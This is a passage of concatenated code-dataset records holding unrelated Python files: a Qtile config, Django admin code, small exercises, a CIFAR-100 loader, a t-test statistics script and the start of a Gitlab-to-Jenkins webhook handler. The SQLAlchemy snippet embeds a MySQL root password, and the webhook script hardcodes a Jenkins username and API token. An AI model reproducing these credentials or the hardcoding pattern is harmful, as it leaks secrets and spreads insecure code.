between left/right columns or move up/down in current stack.\n # Moving out of range in Columns layout will create new column.\n Key([mod, \"shift\"], \"h\", lazy.layout.shuffle_left(),\n desc=\"Move window to the left\"),\n Key([mod, \"shift\"], \"l\", lazy.layout.shuffle_right(),\n desc=\"Move window to the right\"),\n Key([mod, \"shift\"], \"j\", lazy.layout.shuffle_down(),\n desc=\"Move window down\"),\n Key([mod, \"shift\"], \"k\", lazy.layout.shuffle_up(), desc=\"Move window up\"),\n\n # Grow windows. If current window is on the edge of screen and direction\n # will be to screen edge - window would shrink.\n Key([mod, \"control\"], \"h\", lazy.layout.grow_left(),\n desc=\"Grow window to the left\"),\n Key([mod, \"control\"], \"l\", lazy.layout.grow_right(),\n desc=\"Grow window to the right\"),\n Key([mod, \"control\"], \"j\", lazy.layout.grow_down(),\n desc=\"Grow window down\"),\n Key([mod, \"control\"], \"k\", lazy.layout.grow_up(), desc=\"Grow window up\"),\n Key([mod], \"n\", lazy.layout.normalize(), desc=\"Reset all window sizes\"),\n Key([mod, \"shift\"], \"f\", lazy.window.toggle_fullscreen(), desc=\"Toggle fullscreen\"),\n\n # Toggle between split and unsplit sides of stack.\n # Split = all windows displayed\n # Unsplit = 1 window displayed, like Max layout, but still with\n # multiple stack panes\n Key([mod, \"shift\"], \"Return\", lazy.layout.toggle_split(),\n desc=\"Toggle between split and unsplit sides of stack\"),\n Key([mod], \"Return\", lazy.spawn(terminal), desc=\"Launch terminal\"),\n\n # Toggle between different layouts as defined below\n Key([mod], \"Tab\", lazy.next_layout(), desc=\"Toggle between layouts\"),\n Key([mod], \"w\", lazy.window.kill(), desc=\"Kill focused window\"),\n\n Key([mod, \"control\"], \"r\", lazy.restart(), desc=\"Restart Qtile\"),\n Key([mod, \"control\"], \"q\", lazy.shutdown(), desc=\"Shutdown Qtile\"),\n Key([mod], \"r\", lazy.spawncmd(),\n desc=\"Spawn a command using a prompt widget\"),\n\n\n # Opening programs:\n\n Key([mod], \"y\", lazy.spawn(\"dmenu_run -p 'Run: '\"),\n desc=\"Run launcher\"),\n \n Key([mod], \"e\", lazy.spawn(\"emacsclient -c -a 'emacs'\"),\n desc=\"Launch emacs\"),\n\n # Controlling volume:\n\n Key([\"shift\"], \"F1\", lazy.spawn('playerctl play-pause')),\n Key([\"shift\"], \"F2\", lazy.spawn('pamixer -d 2')),\n Key([\"shift\"], \"F3\", lazy.spawn('pamixer -i 2'))\n\n]\n\ngroups = [Group(i) for i in \"1234567890\"]\nfor i in groups:\n keys.extend([\n # mod1 + letter of group = switch to group\n Key([mod], i.name, lazy.group[i.name].toscreen(),\n desc=\"Switch to group {}\".format(i.name)),\n\n # mod1 + shift + letter of group = switch to & move focused window to group\n Key([mod, \"shift\"], i.name, lazy.window.togroup(i.name, switch_group=True),\n desc=\"Switch to & move focused window to group {}\".format(i.name)),\n # Or, use below if you prefer not to switch to that group.\n # # mod1 + shift + letter of group = move focused window to group\n # Key([mod, \"shift\"], i.name, lazy.window.togroup(i.name),\n # desc=\"move focused window to group {}\".format(i.name)),\n ])\n\nlayout_theme = {\"border_width\": 2,\n \"margin\": 6,\n \"border_focus\": \"#cc74cc\",\n \"border_normal\": \"#6c6c6c\"\n }\n\n\nlayouts = [\n layout.Columns(**layout_theme),\n layout.Max(**layout_theme),\n # Try more layouts by unleashing below layouts.\n # layout.Stack(num_stacks=2),\n layout.Bsp(**layout_theme),\n # layout.Matrix(),\n layout.MonadTall(**layout_theme),\n # layout.MonadWide(),\n # layout.RatioTile(),\n # layout.Tile(),\n # layout.TreeTab(),\n # layout.VerticalTile(),\n # layout.Zoomy(),\n]\n\ncolours = [[\"#2d2d2d\", \"#2d2d2d\"], #Panel background colour\n [\"#747369\", \"#747369\"], #Background for current screen tab\n [\"#d3d0c8\", \"#d3d0c8\"], #Font colour for group names\n [\"#52cdcd\", \"#52cdcd\"], #Border line colour for current tab\n [\"#5ece5e\", \"#5ece5e\"], #Border line colour for other tab + odd widgets\n [\"#cc74cc\", \"#cc74cc\"], #Colour for even widgets\n [\"#fec148\", \"#fec148\"], #Colour for window name\n [\"#d3d0c8\", \"#d3d0c8\"], #Light text colour for panel\n [\"#cc74cc\", \"#cc74cc\"], #Window border colour \n [\"#5ece5e\", \"#5ece5e\"]] #Green\n\nbright_colours = {'green': colours[9],\n 'pink': colours[8],\n 'yellow': colours[6],\n 'blue': colours[1],\n 'cyan': colours[2],\n 'red': ['#f55a5e', '#f55a5e']}\n\n\n\n\n\nwidget_defaults = dict(\n font='hack',\n fontsize=13,\n padding=2,\n background=colours[0]\n)\nextension_defaults = widget_defaults.copy()\n\nscreens = [\n Screen(wallpaper='~/pictures/w95.jpg', wallpaper_mode='fit',\n top=bar.Bar(\n [\n widget.GroupBox(active=colours[3], highlight_method='block'\n ),\n #widget.Prompt(),\n widget.Spacer(),\n widget.WindowName(foreground=colours[6], fontsize=16),\n widget.Clock(format='%a %d/%m, %I:%M %p', foreground=bright_colours['pink']),\n widget.Spacer(),\n widget.CurrentLayoutIcon()\n ],\n 24,\n ),\n ),\n\n Screen(wallpaper='~/pictures/w95.jpg', wallpaper_mode='fit',\n top=bar.Bar(\n [\n widget.GroupBox(active=colours[3], highlight_method='block'\n ),\n widget.CurrentLayoutIcon(foreground=bright_colours['pink']),\n #widget.Prompt(),\n widget.Spacer(),\n widget.WindowName(foreground=colours[6], fontsize=16),\n widget.Spacer(),\n widget.Clock(format='%d/%m/%Y %a %I:%M %p', foreground=colours[9]),\n widget.Spacer(),\n widget.CheckUpdates(distro=\"Arch_yay\", colour_have_updates=colours[8],\n colour_no_updates=colours[7], no_update_string=\"no updates\"),\n widget.QuickExit()\n ],\n 24,\n ),\n ),\n\n ]\n\n# Drag floating layouts.\nmouse = [\n Drag([mod], \"Button1\", lazy.window.set_position_floating(),\n start=lazy.window.get_position()),\n Drag([mod], \"Button3\", lazy.window.set_size_floating(),\n start=lazy.window.get_size()),\n Click([mod], \"Button2\", lazy.window.bring_to_front())\n]\n\ndgroups_key_binder = None\ndgroups_app_rules = [] # type: List\nmain = None # WARNING: this is deprecated and will be removed soon\nfollow_mouse_focus = True\nbring_front_click = False\ncursor_warp = False\nfloating_layout = layout.Floating(float_rules=[\n # Run the utility of `xprop` to see the wm class and name of an X client.\n *layout.Floating.default_float_rules,\n Match(wm_class='confirmreset'), # gitk\n Match(wm_class='makebranch'), # gitk\n Match(wm_class='maketag'), # gitk\n Match(wm_class='ssh-askpass'), # ssh-askpass\n Match(title='branchdialog'), # gitk\n Match(title='pinentry'), # GPG key password entry\n])\nauto_fullscreen = True\nfocus_on_window_activation = \"smart\"\n\n@hook.subscribe.startup_once\ndef start_once():\n home = os.path.expanduser('~')\n subprocess.run([home + '/.config/qtile/autostart.sh'])\n\n# XXX: Gasp! We're lying here. In fact, nobody really uses or cares about this\n# string besides java UI toolkits; you can see several discussions on the\n# mailing lists, GitHub issues, and other WM documentation that suggest setting\n# this string if your java app doesn't work correctly. We may as well just lie\n# and say that we're a working one by default.\n#\n# We choose LG3D to maximize irony: it is a 3D non-reparenting WM written in\n# java that happens to be on java's whitelist.\nwmname = \"LG3D\"\n","sub_path":"qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":10035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"429797096","text":"from django.contrib import admin\nfrom .models import NewsletterSubscriber, Message\n\n\nclass NewsletterSubscriberAdmin(admin.ModelAdmin):\n model = NewsletterSubscriber\n list_display = (\n \"email\",\n )\n\n\nclass MessageAdmin(admin.ModelAdmin):\n model = Message\n readonly_fields = (\n \"subject\",\n \"user_email\",\n \"message\",\n )\n\n\nadmin.site.register(NewsletterSubscriber,\n NewsletterSubscriberAdmin)\nadmin.site.register(Message, MessageAdmin)\n","sub_path":"homepage/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"368262405","text":"import sys\n\nq = lambda: sys.stdin.readline().strip()\nn = int(q())\nstack = []\n\nfor _ in range(n):\n\ttemp = q()\n\tif temp[:4]=='push':\n\t\tstack.append(int(temp[4:]))\n\t\n\telif temp=='pop':\n\t\tif len(stack)>0: print(stack.pop())\n\t\telse: print(-1)\n\t\n\telif temp=='top':\n\t\tif len(stack)>0: print(stack[-1])\n\t\telse: print(-1)\n\t\n\telif temp=='empty':\n\t\tif len(stack)==0: print(1)\n\t\telse: print(0)\n\t\n\telif temp=='size':\n\t\tprint(len(stack))\n","sub_path":"week-study/10828.py","file_name":"10828.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"394271778","text":"while True:\r\n try:\r\n cube = int(input(\"Enter an integer: \"))\r\n guess = 0\r\n\r\n while guess ** 3 < abs(cube):\r\n guess += 1\r\n if guess ** 3 != abs(cube):\r\n print(cube, \"is not a perfect cube\")\r\n break\r\n else:\r\n if cube < 0:\r\n guess = -guess\r\n print(\"Cube root of\", cube, \"is:\", guess)\r\n break \r\n except ValueError:\r\n print(\"You have not entered an integer\")\r\n","sub_path":"basic_algorithms/guess_and_check_cube_root.py","file_name":"guess_and_check_cube_root.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"234278100","text":"from torch.utils import data\nimport torchvision.transforms as transforms\nimport os\nimport torchvision\n\nimport glob\n\nCIFAR100_TRAIN_MEAN = [0.5070751592371323, 0.48654887331495095, 0.4409178433670343]\nCIFAR100_TRAIN_STD = [0.2673342858792401, 0.2564384629170883, 0.27615047132568404]\n\nCIFAR100_TEST_MEAN = [0.5088964127604166, 0.48739301317401956, 0.44194221124387256]\nCIFAR100_TEST_STD = [0.2682515741720801, 0.2573637364478126, 0.2770957707973042]\n\ndef get_train_loader(args, dataset_class, use_sobel=False, use_color=False):\n # Data loading code\n normalize = transforms.Normalize(mean=CIFAR100_TRAIN_MEAN,\n std=CIFAR100_TRAIN_STD)\n img_transform = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.RandomRotation(15),\n transforms.ToTensor(),\n normalize,\n ])\n\n dataset = dataset_class(f'{args.img_dir}/train', transform=img_transform, use_sobel=use_sobel, use_color=use_color)\n # dataset = torchvision.datasets.CIFAR100(root='/home/work/Datasets/CIFAR100', train=True, download=True, transform=img_transform)\n\n train_dataloader = data.DataLoader(dataset, num_workers=args.n_workers, batch_size=args.batch_size, shuffle=True,\n drop_last=True)\n\n return train_dataloader\n\ndef get_val_loader(args, dataset_class):\n # Data loading code\n normalize = transforms.Normalize(mean=CIFAR100_TRAIN_MEAN,\n std=CIFAR100_TRAIN_STD)\n img_transform = transforms.Compose([\n transforms.ToTensor(),\n normalize,\n ])\n\n dataset = dataset_class(f'{args.img_dir}/test', transform=img_transform)\n # dataset = torchvision.datasets.CIFAR100(root='/home/work/Datasets/CIFAR100', train=False, download=True, transform=img_transform)\n\n train_dataloader = data.DataLoader(dataset, num_workers=args.n_workers, batch_size=args.batch_size, shuffle=True,\n drop_last=True)\n\n return train_dataloader\n\n","sub_path":"CIFAR100/data/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"230399549","text":"from sqlalchemy import Table, Column, MetaData, String\nfrom sqlalchemy import create_engine\n\nmeta = MetaData()\n\nengine = create_engine('mysql://root:rachel@localhost/test?charset=utf8')\n\nmeta.bind = engine\n\nusers = Table('users', meta, autoload=True)\nphone = Column('phone', String(50))\n\n# I think this method is wrapped by sqlalchemy-migrate\nusers.create_column(phone)\n","sub_path":"sqlalchemy/add_column.py","file_name":"add_column.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"8338305","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n'''Module used to calculate t-student statistics of experiments.\n'''\n\nimport collections\nimport itertools\nimport json\nimport math\nimport os\nimport statistics\nimport sys\n\nfrom scipy.stats import t as student_t\n\n\nColumnIndices = collections.namedtuple('ColumnIndices',\n ['dataset_col',\n 'attribute_col',\n 'num_values_col',\n 'criterion_col',\n 'trial_number_col',\n 'fold_number_col',\n 'accuracy_w_missing_col',\n 'accuracy_wo_missing_col',\n 'num_nodes_col'])\n\n#: Contain the column indices for a rank experiment\nRANK_COLUMN_INDICES = ColumnIndices(dataset_col=1,\n attribute_col=3,\n num_values_col=5,\n criterion_col=8,\n trial_number_col=7,\n fold_number_col=11,\n accuracy_w_missing_col=29,\n accuracy_wo_missing_col=30,\n num_nodes_col=33)\n\n#: Contain the column indices for a cross-validation experiment\nCROSS_VALIDATION_COLUMN_INDICES = ColumnIndices(dataset_col=1,\n attribute_col=None,\n num_values_col=None,\n criterion_col=4,\n trial_number_col=3,\n fold_number_col=None,\n accuracy_w_missing_col=20,\n accuracy_wo_missing_col=21,\n num_nodes_col=28)\n\n#: Contain the column indices for a train-and-test experiment\nTRAIN_AND_TEST_COLUMN_INDICES = ColumnIndices(dataset_col=1,\n attribute_col=None,\n num_values_col=None,\n criterion_col=7,\n trial_number_col=5,\n fold_number_col=None,\n accuracy_w_missing_col=20,\n accuracy_wo_missing_col=21,\n num_nodes_col=24)\n\n\ndef main(output_path):\n '''Calculates the t-student statistics of experiments contained in this folder.\n\n The `output_path` folder must contain the `raw_output.csv` file and the `experiment_config.json`\n file, otherwise the function will exit.\n '''\n raw_output_path = os.path.join(output_path, 'raw_output.csv')\n if (not os.path.exists(raw_output_path)\n or not os.path.isfile(raw_output_path)):\n print('This path does not contain the output of an experiment.')\n sys.exit(1)\n\n experiment_config_filepath = os.path.join(output_path, 'experiment_config.json')\n if (not os.path.exists(experiment_config_filepath)\n or not os.path.isfile(experiment_config_filepath)):\n print('This path does not contain the output of an experiment.')\n sys.exit(1)\n with open(experiment_config_filepath, 'r') as experiment_config_json:\n experiment_config = json.load(experiment_config_json)\n if \"min num values to compare\" in experiment_config:\n min_num_values_to_compare = experiment_config[\"min num values to compare\"]\n else:\n min_num_values_to_compare = 2\n\n if experiment_config[\"rank attributes\"]:\n is_rank = True\n column_indices = RANK_COLUMN_INDICES\n elif experiment_config[\"use cross-validation\"]:\n is_rank = False\n column_indices = CROSS_VALIDATION_COLUMN_INDICES\n else:\n is_rank = False\n column_indices = TRAIN_AND_TEST_COLUMN_INDICES\n\n single_sided_p_value_threshold = experiment_config[\"t-test single-sided p-value\"]\n\n raw_data = _load_raw_data(raw_output_path, column_indices, is_rank, min_num_values_to_compare)\n _save_raw_stats(raw_data, output_path, is_rank)\n _save_aggreg_stats(output_path, single_sided_p_value_threshold)\n\n\ndef _load_raw_data(raw_output_path, column_indices, is_rank, min_num_values_to_compare=2):\n def _init_raw_data():\n # This function creates (in a lazy way) an infinitely-nested default dict. This is\n # useful when creating a default dict highly nested.\n return collections.defaultdict(_init_raw_data)\n\n raw_data = _init_raw_data()\n has_read_header = False\n with open(raw_output_path, 'r') as fin:\n for line in fin:\n if not has_read_header:\n has_read_header = True\n continue\n line_list = line.split(',')\n\n dataset_name = line_list[column_indices.dataset_col]\n criterion_name = line_list[column_indices.criterion_col]\n trial_number = line_list[column_indices.trial_number_col]\n\n accuracy_w_missing = float(line_list[column_indices.accuracy_w_missing_col])\n try:\n accuracy_wo_missing = float(line_list[column_indices.accuracy_wo_missing_col])\n except ValueError:\n accuracy_wo_missing = None\n num_nodes = float(line_list[column_indices.num_nodes_col])\n\n if is_rank:\n try:\n num_values = int(line_list[column_indices.num_values_col])\n if num_values < min_num_values_to_compare:\n continue\n except ValueError:\n # Numeric attribute\n if min_num_values_to_compare > 2:\n # In this case we assume we are only interested in nominal attributes.\n continue\n attribute_name = line_list[column_indices.attribute_col]\n fold_number = line_list[column_indices.fold_number_col]\n raw_data[dataset_name][attribute_name][criterion_name][trial_number][\n fold_number] = (accuracy_w_missing,\n accuracy_wo_missing,\n num_nodes)\n else:\n raw_data[dataset_name][criterion_name][trial_number] = (accuracy_w_missing,\n accuracy_wo_missing,\n num_nodes)\n return raw_data\n\n\ndef _save_raw_stats(raw_data, output_path, is_rank):\n raw_stats_output_file = os.path.join(output_path, 'raw_t_student_stats.csv')\n with open(raw_stats_output_file, 'w') as fout:\n header = ['Dataset',\n 'Attribute',\n 'Criterion Difference Name',\n 'Paired t-statistics on Accuracy with Missing Values',\n 'Degrees of Freedom of Accuracy with Missing Values',\n 'P-value t-statistics on Accuracy with Missing Values',\n 'Paired t-statistics on Accuracy without Missing Values',\n 'Degrees of Freedom of Accuracy without Missing Values',\n 'P-value t-statistics on Accuracy without Missing Values',\n 'Paired t-statistics on Number of Nodes',\n 'Degrees of Freedom of Number of Nodes',\n 'P-value t-statistics on Number of Nodes']\n print(','.join(header), file=fout)\n if is_rank:\n for dataset_name in raw_data:\n for attribute_name in raw_data[dataset_name]:\n for (criterion_name_1,\n criterion_name_2) in itertools.combinations(\n raw_data[dataset_name][attribute_name], 2):\n\n\n criterion_diff_name = ' - '.join((criterion_name_1, criterion_name_2))\n accuracy_w_missing_diff = []\n accuracy_wo_missing_diff = []\n num_nodes_diff = []\n\n trial_number_intersection = (\n set(raw_data[dataset_name][attribute_name][criterion_name_1].keys())\n & set(raw_data[dataset_name][attribute_name][criterion_name_2].keys()))\n for trial_number in trial_number_intersection:\n fold_number_intersection = (\n set(raw_data[dataset_name][attribute_name][criterion_name_1][\n trial_number].keys())\n & set(raw_data[dataset_name][attribute_name][criterion_name_2][\n trial_number].keys()))\n for fold_number in fold_number_intersection:\n criterion_1_data = raw_data[dataset_name][attribute_name][\n criterion_name_1][trial_number][fold_number]\n criterion_2_data = raw_data[dataset_name][attribute_name][\n criterion_name_2][trial_number][fold_number]\n\n accuracy_w_missing_diff.append(\n criterion_1_data[0] - criterion_2_data[0])\n if (criterion_1_data[1] is not None\n and criterion_2_data[1] is not None):\n accuracy_wo_missing_diff.append(\n criterion_1_data[1] - criterion_2_data[1])\n num_nodes_diff.append(\n criterion_1_data[2] - criterion_2_data[2])\n\n (t_statistic_w_missing,\n p_value_w_missing) = _calculate_t_statistic(accuracy_w_missing_diff)\n (t_statistic_wo_missing,\n p_value_wo_missing) = _calculate_t_statistic(accuracy_wo_missing_diff)\n (t_statistic_num_nodes,\n p_value_num_nodes) = _calculate_t_statistic(num_nodes_diff)\n print(','.join([dataset_name,\n attribute_name,\n criterion_diff_name,\n str(t_statistic_w_missing),\n str(len(accuracy_w_missing_diff) - 1),\n str(p_value_w_missing),\n str(t_statistic_wo_missing),\n str(len(accuracy_wo_missing_diff) - 1),\n str(p_value_wo_missing),\n str(t_statistic_num_nodes),\n str(len(num_nodes_diff) - 1),\n str(p_value_num_nodes)]),\n file=fout)\n else:\n for dataset_name in raw_data:\n for (criterion_name_1,\n criterion_name_2) in itertools.combinations(raw_data[dataset_name], 2):\n\n criterion_diff_name = ' - '.join((criterion_name_1, criterion_name_2))\n accuracy_w_missing_diff = []\n accuracy_wo_missing_diff = []\n num_nodes_diff = []\n\n trial_number_intersection = (\n set(raw_data[dataset_name][criterion_name_1].keys())\n & set(raw_data[dataset_name][criterion_name_2].keys()))\n for trial_number in trial_number_intersection:\n criterion_1_data = raw_data[dataset_name][criterion_name_1][trial_number]\n criterion_2_data = raw_data[dataset_name][criterion_name_2][trial_number]\n\n accuracy_w_missing_diff.append(\n criterion_1_data[0] - criterion_2_data[0])\n if (criterion_1_data[1] is not None\n and criterion_2_data[1] is not None):\n accuracy_wo_missing_diff.append(\n criterion_1_data[1] - criterion_2_data[1])\n num_nodes_diff.append(\n criterion_1_data[2] - criterion_2_data[2])\n\n (t_statistic_w_missing,\n p_value_w_missing) = _calculate_t_statistic(accuracy_w_missing_diff)\n (t_statistic_wo_missing,\n p_value_wo_missing) = _calculate_t_statistic(accuracy_wo_missing_diff)\n (t_statistic_num_nodes,\n p_value_num_nodes) = _calculate_t_statistic(num_nodes_diff)\n print(','.join([dataset_name,\n str(None),\n criterion_diff_name,\n str(t_statistic_w_missing),\n str(len(accuracy_w_missing_diff) - 1),\n str(p_value_w_missing),\n str(t_statistic_wo_missing),\n str(len(accuracy_wo_missing_diff) - 1),\n str(p_value_wo_missing),\n str(t_statistic_num_nodes),\n str(len(num_nodes_diff) - 1),\n str(p_value_num_nodes)]),\n file=fout)\n\n\ndef _calculate_t_statistic(samples_list):\n if len(samples_list) <= 1:\n return None, None\n mean = statistics.mean(samples_list)\n variance = statistics.variance(samples_list)\n if variance == 0.0:\n # Every sample has the same value.\n if mean == 0.0:\n return 0.0, 0.5\n elif mean > 0.0:\n return float('+inf'), 0.0\n else:\n return float('-inf'), 1.0\n\n num_samples = len(samples_list)\n t_statistic = mean / math.sqrt(variance / num_samples)\n degrees_of_freedom = num_samples - 1\n p_value = 1. - student_t.cdf(t_statistic, degrees_of_freedom)\n return t_statistic, p_value\n\n\ndef _save_aggreg_stats(output_path, single_sided_p_value_threshold):\n # aggreg_data[(dataset, attribute, criterion)] = [num_times_stat_better_w_missing,\n # num_times_stat_better_wo_missing,\n # num_times_stat_larger_num_nodes]\n aggreg_data = {}\n raw_stats_output_file = os.path.join(output_path, 'raw_t_student_stats.csv')\n has_read_header = False\n with open(raw_stats_output_file, 'r') as fin:\n for line in fin:\n if not has_read_header:\n has_read_header = True\n continue\n line_list = line.split(',')\n\n dataset_name = line_list[0]\n attribute = line_list[1]\n criterion_diff_name = line_list[2]\n criterion_name_1, criterion_name_2 = criterion_diff_name.split(' - ')\n\n if (dataset_name, attribute, criterion_name_1) not in aggreg_data:\n aggreg_data[(dataset_name, attribute, criterion_name_1)] = [0, 0, 0, 0, 0, 0]\n if (dataset_name, attribute, criterion_name_2) not in aggreg_data:\n aggreg_data[(dataset_name, attribute, criterion_name_2)] = [0, 0, 0, 0, 0, 0]\n\n try:\n p_value_w_missing = float(line_list[5])\n if p_value_w_missing <= single_sided_p_value_threshold:\n aggreg_data[(dataset_name, attribute, criterion_name_1)][0] += 1\n aggreg_data[(dataset_name, attribute, criterion_name_2)][3] += 1\n elif p_value_w_missing >= 1. - single_sided_p_value_threshold:\n aggreg_data[(dataset_name, attribute, criterion_name_1)][3] += 1\n aggreg_data[(dataset_name, attribute, criterion_name_2)][0] += 1\n except ValueError:\n pass\n\n try:\n p_value_wo_missing = float(line_list[8])\n if p_value_wo_missing is not None:\n if p_value_wo_missing <= single_sided_p_value_threshold:\n aggreg_data[(dataset_name, attribute, criterion_name_1)][1] += 1\n aggreg_data[(dataset_name, attribute, criterion_name_2)][4] += 1\n elif p_value_wo_missing >= 1. - single_sided_p_value_threshold:\n aggreg_data[(dataset_name, attribute, criterion_name_1)][4] += 1\n aggreg_data[(dataset_name, attribute, criterion_name_2)][1] += 1\n except ValueError:\n pass\n\n try:\n p_value_num_nodes = float(line_list[11])\n if p_value_num_nodes is not None:\n if p_value_num_nodes <= single_sided_p_value_threshold:\n aggreg_data[(dataset_name, attribute, criterion_name_1)][2] += 1\n aggreg_data[(dataset_name, attribute, criterion_name_2)][5] += 1\n elif p_value_num_nodes >= 1. - single_sided_p_value_threshold:\n aggreg_data[(dataset_name, attribute, criterion_name_1)][5] += 1\n aggreg_data[(dataset_name, attribute, criterion_name_2)][2] += 1\n except ValueError:\n pass\n\n aggreg_stats_output_file = os.path.join(output_path, 'aggreg_t_student_stats.csv')\n with open(aggreg_stats_output_file, 'w') as fout:\n header = ['Dataset',\n 'Attribute',\n 'Criterion',\n 'Number of times is statistically better with missing values',\n 'Number of times is statistically better without missing values',\n 'Number of times has statistically larger number of nodes',\n 'Number of times is statistically worse with missing values',\n 'Number of times is statistically worse without missing values',\n 'Number of times has statistically smaller number of nodes']\n print(','.join(header), file=fout)\n for keys in sorted(aggreg_data):\n values = map(str, aggreg_data[keys])\n print(','.join([*keys, *values]), file=fout)\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 1:\n print('Please include a path to an experiment output folder.')\n sys.exit(1)\n\n main(sys.argv[1].replace(r'\\ ', ' '))\n","sub_path":"t_student.py","file_name":"t_student.py","file_ext":"py","file_size_in_byte":18903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"635496325","text":"from mod_python import apache\nfrom mod_python import util\n\nfrom lxml import etree\n\nfrom jenkinsapi import jenkins\nimport json\nimport time\nimport urllib\nimport re\n\nimport logging\nlogging.basicConfig(\n\tfilename='/var/log/gitlab2jenkins/gitlab2jenkins.log',\n\tlevel = logging.DEBUG,\n\tformat='%(asctime)s %(name)s %(filename)s:%(lineno)s %(levelname)s: %(message)s',\n)\n\n# This script connects Gitlab with Jenkins and automatically creates new Jenkins jobs\n# from templates for new branches (currently only release branches, sprint branches and master).\n# See https://redmine/projects/alf/wiki/Continuous_Integration#Automated-Branch-Setup\n\nJENKINS_URL = 'http://jenkins.lan.adytonsystems.com:8080'\nJENKINS_USER = 'jenkins.ci'\nJENKINS_APITOKEN = 'b694f516b0d351ed8b1d72c8258d3aca'\nJENKINS_DESCTEMPLATE = 'Automatically created job for branch %(branch)s of project %(repo)s.'\nJENKINS_DESCTEMPLATE += ' Cloned from template %(template)s.\\n\\n'\nJENKINS_DESCTEMPLATE += 'Do not edit this job!\\nInstead, '\nJENKINS_DESCTEMPLATE += 'edit the template job. Changes to the template will be propagated to all cloned jobs.'\n\nj = None\n\ndef repo(data):\n\t''' Get repo name from Gitlab JSON data. '''\n\treturn data['repository']['name'].lower()\n\ndef branch(data):\n\t''' Get branch name from Gitlab JSON data. '''\n\tref = data['ref']\n\tif ref.startswith('refs/heads/'):\n\t\treturn ref[11:]\n\t# I have no idea if this can happen. Maybe raise an exception?\n\tlogging.error('branch(%s) this should be reached...', ref)\n\treturn ref\n\ndef branch_created(data):\n\t''' Determine from JSON data if a new branch was created. '''\n\treturn int(data['before'], base=16) == 0\n\ndef branch_deleted(data):\n\t''' Determine from JSON data if a branch was deleted. '''\n\treturn int(data['after'], base=16) == 0\n\ndef template_name(kind, data):\n\t''' Get template name for this kind from JSON data. '''\n\treturn 'template-%s-%s' % (kind, repo(data))\n\ndef job_name(kind, data):\n\t''' Get the job name for this kind from JSON data. '''\n\treturn '%s-%s-%s' % (kind, repo(data), branch(data).replace('/', '_'))\n\ndef set_branch(xml, bname):\n\t''' Set the git branch in the given job config XML. '''\n\tfor e in xml.iter(tag=etree.Element):\n\t\tif e.tag == 'hudson.plugins.git.BranchSpec':\n\t\t\tfor child in e:\n\t\t\t\tif child.tag == 'name':\n\t\t\t\t\tchild.text = 'origin/%s' % bname\n\ndef gen_description(b, r, tn, data):\n\t''' Generate a nice description for a job. '''\n\tsubs = {\n\t\t'branch': b,\n\t\t'repo': r,\n\t\t'template': tn,\n\t\t'uri': data['repository']['homepage']\n\t}\n\treturn JENKINS_DESCTEMPLATE % subs\n\ndef set_description(xml, desc):\n\t''' Set the job description in the given job config XML. '''\n\tfor child in xml:\n\t\tif child.tag == 'description':\n\t\t\tchild.text = desc\n\ndef set_enabled(xml):\n\t''' Set a job enabled in the given job config XML. '''\n\tfor child in xml:\n\t\tif child.tag == 'disabled':\n\t\t\tchild.text = 'false'\n\ndef view_for_job(job):\n\t''' Determine the view that the given job is in. '''\n\tlogging.debug('all views: %s', ', '.join(j.views))\n\tfor vname in j.views:\n\t\tif vname in ['All', 'Alle']:\n\t\t\tcontinue\n\t\tview = j.views[vname]\n\t\tlogging.debug('view is %s', view)\n\t\tif view and job in view.get_job_dict():\n\t\t\tlogging.debug('found job %s in view %s', job, view)\n\t\t\treturn view\n\treturn None\n\ndef refresh():\n\t''' Reconnect to Jenkins, needed after creating new jobs. '''\n\tglobal j\n\tj = jenkins.Jenkins(JENKINS_URL, JENKINS_USER, JENKINS_APITOKEN)\n\ndef create_job(jobname, template, repo, branch, data):\n\t''' Create a new job. '''\n\tglobal j\n\tcfg = gen_config(jobname, template, repo, branch, data)\n\tnewjob = j.create_job(jobname, cfg)\n\trefresh()\n\tv = view_for_job(template)\n\tif v:\n\t\tv.add_job(jobname, newjob)\n\treturn newjob\n\ndef gen_config(jobname, template, repo, branch, data):\n\t''' Generate an XML job config. '''\n\tglobal j\n\txml = etree.fromstring(j.get_job(template).get_config().encode('utf-8'))\n\tset_branch(xml, branch)\n\tset_enabled(xml)\n\tset_description(xml, gen_description(branch, repo, template, data))\n\treturn etree.tostring(xml, pretty_print=True)\n\ndef handler(req):\n\t''' The actual request handler. '''\n\tglobal j\n\treq.content_type = 'text/plain'\n\t# see https://gitlab/help/web_hooks\n\trequestdata = req.read()\n\tlogging.debug('request data is %s\\n', requestdata)\n\tdata = json.loads(requestdata)\n\tr = repo(data)\n\tb = branch(data)\n\trefresh()\n\tall_jobs = j.get_jobs()\n\tall_views = j.views\n\n\tif not re.match(r'^r[0-9\\.]+(|-s.+)$', b) and not b.startswith('release-'):\n\t\treq.write('branch is neither release, sprint nor story branch. Ignoring.')\n\t\tlogging.info('Branch in neither release, sprint nor story branch %s in repo %s. Ignoring.\\n' % (b, r))\n\t\treturn apache.OK\n\n\tkinds = ['ci']\n\tif re.match(r'^r[0-9\\.]+(|-s[0-9_]+)$', b):\n\t\tkinds.append('nightly')\n\n\tlogging.info(\"Handling incoming data: %r\\n\" % data)\n\tlogging.info(\"Extracted: repo %s, branch %s\\n\" % (r,b))\n\t# We have two kinds of jobs, ci (continuous integration) and nightly.\n\tfor kind in kinds:\n\t\ttn = template_name(kind, data)\n\t\tjn = job_name(kind, data)\n\t\tlogging.info(\"Will work with template %s, job %s\\n\" % (tn, jn))\n\n\t\tif not 